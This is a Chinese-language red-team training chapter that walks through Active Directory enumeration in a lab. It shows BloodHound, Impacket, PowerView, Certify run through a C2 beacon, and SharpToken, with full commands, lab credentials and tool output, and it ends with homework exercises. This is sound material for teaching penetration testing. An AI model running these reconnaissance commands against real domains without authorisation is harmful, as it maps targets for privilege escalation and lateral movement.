Python 版 BloodHound 可以在 Linux 主机上运行,需要 impacket 的依赖。我们可以通过 pip3 install bloodhound 安装,之后运行 bloodhound-python 运行。我们这里使用的是 Alice 的明文帐号密码认证的,我们也可以提供 john 或者 Web01$ 的 NTLM 哈希甚至 ccache (原理在后续章节深入)。
proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth  -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
-ns 选项指定了 DC01DNS 服务器--dns-tcp 强制使用 DNS TCP,因为 UDP 不被 SOCKS 支持。设置 --dns-timeout10,默认值会因为短时间的通信尝试而直接判定为超时。
root@ts:/opt/framework# proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth  -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Found AD domain: prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Getting TGT for user
|DNS-request| prod.raven-med.local 
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response|: prod.raven-med.local does not exist
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (prod.raven-med.local:88)] [Errno 1] Unknown error
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 4 computers
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Connecting to GC LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:3268-<><>-OK
INFO: Found 15 users
INFO: Found 48 groups
INFO: Found 5 gpos
INFO: Found 6 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: web01.prod.raven-med.local
............
INFO: Done in 01M 56S

image.png

使用之后,会输出 json 文件,我们同样可以上传给 BloodHound。

Impacket

Impacket (https://github.com/fortra/impacket) 是一套可以对 AD 进行网络协议交互的工具,可用于枚举与利用,十分强劲。目前,我们只专注于枚举。

例如,我们可以使用 GetADUser.py 枚举域内用户

root@ts:/opt/framework/impacket/examples# proxychains python3 GetADUsers.py  -all prod.raven-med.local/alice:elizabeth  -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
[*] Querying 172.16.1.11 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2023-01-20 18:38:16.572334  2023-03-30 19:53:43.462751 
Guest                                                 <never>              <never>             
krbtgt                                                2023-01-21 03:14:17.129622  <never>             
                                                      2023-03-28 02:21:44.373836  <never>             
sql_service                                           2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162 
app_security                                          2023-01-28 20:00:19.880249  <never>             
network_security                                      2023-01-28 20:00:30.270846  <never>             
alice                                                 2023-01-28 20:03:12.536442  2023-03-31 03:58:54.462135 
harold                                                2023-01-28 20:33:54.612025  <never>             
backup_operator                                       2023-01-28 21:53:00.350035  <never>             
john                                                  2023-01-29 01:02:53.942678  2023-03-28 02:06:57.796057 
newman                                                2023-02-14 04:21:09.365594  <never>             
jim                                                   2023-02-14 04:21:23.271692  <never>             
carl                                                  2023-02-14 04:21:51.818645  <never>             
fusco                                                 2023-02-14 04:22:23.256115  2023-03-30 19:58:17.243954 

image.png

使用 GetUserSPNs 来获取所有设置了 SPN 的用户

root@ts:/opt/framework/impacket/examples# proxychains python3 GetUserSPNs.py prod.raven-med.local/alice:elizabeth  -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
ServicePrincipalName                       Name         MemberOf  PasswordLastSet             LastLogon                   Delegation 
-----------------------------------------  -----------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/srv01.prod.raven-med.local:SQL01  sql_service            2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162             
MSSQLSvc/srv01.prod.raven-med.local:1433   sql_service            2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162  

image.png


CrackMapExec

CrackMapExec (https://github.com/Porchetta-Industries/CrackMapExec) 如今发展成了一款类似于 Impacket 的多功能 AD 枚举与利用瑞士军刀。请学员们自行下载、安装与探索。

DACL

DACL 揭露了域内对象与对象之间的权限关系,可以是用户对用户的,用户对主机的,主机对主机的,诸如此类。例如,用户 John 对用户 app_security 具有 GenericWrite 的权限,那么 John 可以为其设置一个 SPN。DACL 无疑是域内最值得我们关注的利用之一。

对于 DACL 的枚举,最直观的就是使用 SharpHound 进行信息搜集然后使用 BloodHound 进行查看,虽然 BloodHound 有的时候也会遗漏一些 DACL。

image.png

除此之外,我们也可以组合 PowerView中的命令,查看某个用户的DACL,以及我们当前用户对其他用户的DACL:


枚举特定用户的DACL

指定目标用户,可以看到其他域对象作用于其的 DACL (对该用户具有 DACL 的对象以及权限)

Get-ObjectAcl -Identity <用户名> -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Select Identity,AceType,ObjectCN,ActiveDirectorys | findstr '\'

我们可以看到,用户 john 对 app_security 具有 WriteProperty 权限。

image.png

 

枚举当前用户对其他用户的权限

登陆为 network_security,并使用如下命令 (无须修改),我们发现 network_security 对用户 backup_operator 具有 GenericAll 权限。

Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}} | Select Identity,AceType,ActiveDirectoryRights,ObjectDN

image.png

image.png

Kerberos 委派

Kerberos 委派是什么,以及怎么利用,也许你们现在会感到有些困惑,这不要紧,因为我们目前只是在枚举阶段,但是我们需要知道 Kerberos 委派对于我们的利用是很关键的,因此对其进行枚举是前期就需要完成的事情。

从结果出发,委派可以让我们在其他主机上执行远程命令,从而接管这些主机。但我们也需要注意,有些用户是不允许被委派的,比如域管理员,因为他们具有很高的权限。

WHITE-BIRD 中的 Administrator 就不可被委派。

image.png

我们需要枚举的委派有 3 类:

非约束委派

非约束委派无疑是最强大的,因为对非约束委派的成功利用往往可能导致对整个域乃至森林的接管。

Get-NetComputer -Unconstrained | select dnshostname

image.png

当前域中,只有 DC 是被设置了非约束委派的。域控制器总是会被设置非约束委派,但这对于我们并没有帮助。而在 RAVEN-MED 中,我们发现了 mon01 是被设置了非约束委派的。

image.png

我们在 BloodHound 中,可以用内置的语句查询所有到达被设置了非约束委派主机的路径。图像比较凌乱,但我们可以看到有 4 台 主机被设置了非约束委派。

image.png


约束委派

通常,我们可以通过利用约束委派横向移动到至少 1 台其他主机上,这取决于被设置约束委派的主机/服务帐号可以委派多少主机与服务。不仅主机可以被设置约束委派,服务帐号也可以。

Get-NetComputer -TrustedToAuth

Get-NetUser -TrustedToAuth

image.png

我们发现 Web02 被设置了约束委派。

此外,med-factory.local 域中的 deleg_exer 服务帐号也被设置了约束委派。

image.png


基于资源的约束委派 (RBCD)

如果被我们控制的主机或服务账号对其他主机具有 GenericWrite 以及更高 (例如GenericAll) 的权限,我们最终可以通过利用 S4U 横向移动到其他主机上。

至于枚举的话,通过查看 BloodHound的 显示更为直观。或者使用脚本 adPEAS 协助我们发现可利用的RBCD。

image.png

image.png

实际上 File01 对 Dc01 具有 GenericAll 权限,因此可以用于利用 RBCD


image.png

ADCS

ADCS 的利用,是这几年里较新的利用手段。因此,我们也需要对 ADCS 进行枚举。ADCS(Active Directory 证书服务)是 Microsoft 的 PKI 实现,可与现有的 Active Directory 森林集成,从而实现数字证书的创建和管理。这些证书具有多种功能,如对用户进行身份验证,对文件和通信进行加密,提供数字签名以及验证电子文档。ADCS 使管理员能够建立并监督他们的证书颁发机构(CA),以向组织内的用户、计算机和其他资源颁发数字证书。与使用外部证书提供商相比,这种方法被认为更安全、更高效。

然而,同其他技术一样,不当的配置会引入可被利用的风险因素。在 ADCS 的上下文中,可以导致特权提升 (普通域用户甚至可以提升至域管理员) 以及持久化。我们可以使用工具 Certify (https://github.com/GhostPack/Certify) 来枚举域内的ADCS。


枚举CA

我们可以用 certify.exe 以及 cas 选项来枚举域内的 CA。

certify.exe cas

而在 Linux 操作系统中,我们可以通过 pip3 install certipy-ad 命令来安装 Certify Linux 版 Certipy。

image.png

不过,white-bird 域中并没有 ADCS 服务,因此也没有 CA 的存在。

image.png

对于 PROD 以及 RAVEN-MED 也一样。

image.png

实际上,med-factory 域中存在 ADCS 服务。我们发现,172.16.1.32 这台内部主机,即 Cert01 开放了 80 端口,是个 HTTP 服务。

image.png

当我们访问终端 certsrv,发现需要验证,虽然我们还没有有效的凭证,但是这证明了 Med-factory 确实存在着 ADCS 服务,而 Cert01 提供了 ADCS 的 Web 终端。

image.png

RAVEN-MED 森林被 Med-factory 信任,因此我们需要一个有效的 RAVEN-MED 森林中的帐号来跨域枚举 Med-factory 的 ADCS 信息,PROD 域中的 Alice 的凭证可以被我们所用。

我们以 Alice 身份跨域对 med-factory.local 域的 CA 进行枚举

beacon> execute-assembly certify.exe cas /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe cas /domain:med-factory.local
[+] host called home, sent: 279141 bytes
[+] received output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               


[+] received output:
[*] Action: Find certificate authorities
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'


[*] Root CAs


[+] received output:
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local



[*] NTAuthCertificates - Certificates that enable authentication:

    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local


[*] Enterprise/Enrollment CAs:

    Enterprise CA Name            : med-factory-CERT01-CA
    DNS Hostname                  : cert01.med-factory.local
    FullName                      : cert01.med-factory.local\med-factory-CERT01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
    UserSpecifiedSAN              : Could not connect to the HKLM hive - The network path was not found.

    CA Permissions                :
[X] Could not connect to the HKLM hive - The network path was not found.



[+] received output:
    Enabled Certificate Templates:
        ClientAuth
        DirectoryEmailReplication
        DomainControllerAuthentication
        KerberosAuthentication
        EFSRecovery
        EFS
        DomainController
        WebServer
        Machine
        User
        SubCA
        Administrator

image.png

image.png

从输出中,我们可以看到 CA 信息以及可用的证书模板。

枚举脆弱的证书模板

证书模板是预定义格式的证书,可用于创建具有指定属性的新证书。配置不当的证书模板可被用于域内提权,我们可以让 certify 帮我们自动寻找配置不当的证书,但 Certify 只会寻找全局脆弱的证书模版,即所有域用户都能利用的证书模板,而可能忽视特定用户可以利用的脆弱证书模板。

certify.exe find /vulnerable

实际上,Vuln1 与 Vuln2 都是可被利用的脆弱证书模板,但 Certify 并没有发现。

beacon> execute-assembly certify.exe find /vulnerable /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe find /vulnerable /domain:med-factory.local
[+] host called home, sent: 279167 bytes
[+] received output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'

[*] Listing info about the Enterprise CA 'med-factory-CERT01-CA'

    Enterprise CA Name            : med-factory-CERT01-CA
    DNS Hostname                  : cert01.med-factory.local
    FullName                      : cert01.med-factory.local\med-factory-CERT01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local

[+] received output:
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
    Enrollment Agent Restrictions : None

[+] received output:

[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish:

    Vuln1


[+] No Vulnerable Certificates Templates found!

image.png

image.png

对于读不懂的 SID 值,我们可以将其转换为名称

Convert-sidtoName <SID>

image.png

 

枚举允许客户认证的模板

我们可以寻找允许客户认证的模板,即申请了证书之后可以用于提供身份认证,就像有了凭证一样。不仅可以用于模仿其他用户,还可以实现持久化。

certify.exe find /clientauth /ca: [ca] 

有多个证书模板允许客户认证,但列举的依旧并不完整。

beacon> execute-assembly certify.exe find /clientauth /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe find /clientauth /domain:med-factory.local
[+] host called home, sent: 279167 bytes
[+] received output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'

[*] Listing info about the Enterprise CA 'med-factory-CERT01-CA'

    Enterprise CA Name            : med-factory-CERT01-CA
    DNS Hostname                  : cert01.med-factory.local
    FullName                      : cert01.med-factory.local\med-factory-CERT01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
    Enrollment Agent Restrictions : None
Enabled certificate templates capable of client authentication:

............

    CA Name                               : cert01.med-factory.local\med-factory-CERT01-CA
    Template Name                         : DomainControllerAuthentication
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Client Authentication, Server Authentication, Smart Card Logon
    Permissions
      Enrollment Permissions
        Enrollment Rights           : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
        AutoEnrollment Rights       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteOwner Principals       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteDacl Principals        : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteProperty Principals    : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519

    CA Name                               : cert01.med-factory.local\med-factory-CERT01-CA
    Template Name                         : KerberosAuthentication
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : SUBJECT_ALT_REQUIRE_DOMAIN_DNS, SUBJECT_ALT_REQUIRE_DNS
    mspki-enrollment-flag                 : AUTO_ENROLLMENT
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Client Authentication, KDC Authentication, Server Authentication, Smart Card Logon
    Permissions
      Enrollment Permissions
        Enrollment Rights           : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
        AutoEnrollment Rights       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-498
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-516
                                      NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERSS-1-5-9
      Object Control Permissions
        Owner                       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteOwner Principals       : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteDacl Principals        : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
        WriteProperty Principals    : <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
                                      <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519



Certify completed in 00:00:00.8096505

image.png

image.png

 

枚举ADCS网页终端

对于开放了网页证书签发终端的 CA 服务器来说,其访问地址为 http(s)://<CA>/certsrv

image.png

用户会话与令牌

当我们在一台 Windows 域主机上获得了 SYSTEM 权限,我们可以模仿任何在本机登陆的域用户。如果模仿的对象在域内具有其他特权,我们可以利用此来移动到其他主机甚至域。

在 Windows 本机,我们可以有这些方式来查询


进程的拥有者

我们可以使用程序 tasklist.exe 来查询进程的拥有者:

tasklist.exe /v

image.png

或者 PowerShell 命令 Get-Process -IncludeUserName

Get-Process -IncludeUserName

image.png

可惜的是,就 Web02 上,并没有发现其他用户的进程,但在别的主机上,也许我们会有意外收获。我们不妨以 sql_service 用户运行 cmd 程序,然后我们发现了其会话。

image.png


会话查询

我们可以通过命令 query session 来查询当前主机的会话,会话来源有交互式登陆、RDP登陆、服务执行。

query session

image.png

我们依旧没有看到其他用户的会话。虽然我们以 sql_service 身份运行了 cmd 程序,但并不属于三种来源之一。


SharpToken

我们可以使用工具 SharpToken (https://github.com/BeichenDream/SharpToken) 来枚举当前主机所有可用的令牌,需要在 SYSTEM 权限下使用。

image.png

我们之前 runas 的 sql_service 用户的令牌也能有显示

image.png

 

BloodHound

在 BloodHound 中,我们可以查看部分远程主机的 Sessions 信息,例如,我们从图中得知 file01 上有 John 的会话。

image.png

file01 确实当前是 john 登陆。

image.png

第7章课后作业

练习

1:查找1-2 个其他近年关于 AD 的 CVE 漏洞,并测试本实验是否存在。

2:我们已经有了 2 个 Beacon 了,因此我们目前对 4 个域具有资源访问权限,请分别枚举这些域的用户、组、主机、OU、GPO、域信任等内容。

3:使用 PowerShell 版 SharpHound 搜集域信息,并尝试各种选项

4:使用 SQLRecon (https://github.com/skahwah/SQLRecon) 工具来枚举实验室中的 3 个 MSSQL 数据库实例。

5:使用 ldapsearch 枚举其他域信息,例如 OU 等

6:使用 rpcclient 枚举其他域信息

7:尝试 CrackMapExec/PsMapExec 工具并枚举域信息

8:使用 NTLM 哈希认证的方式运行 BloodHound-Python

9:还有哪些其他的 DACL?

面试专题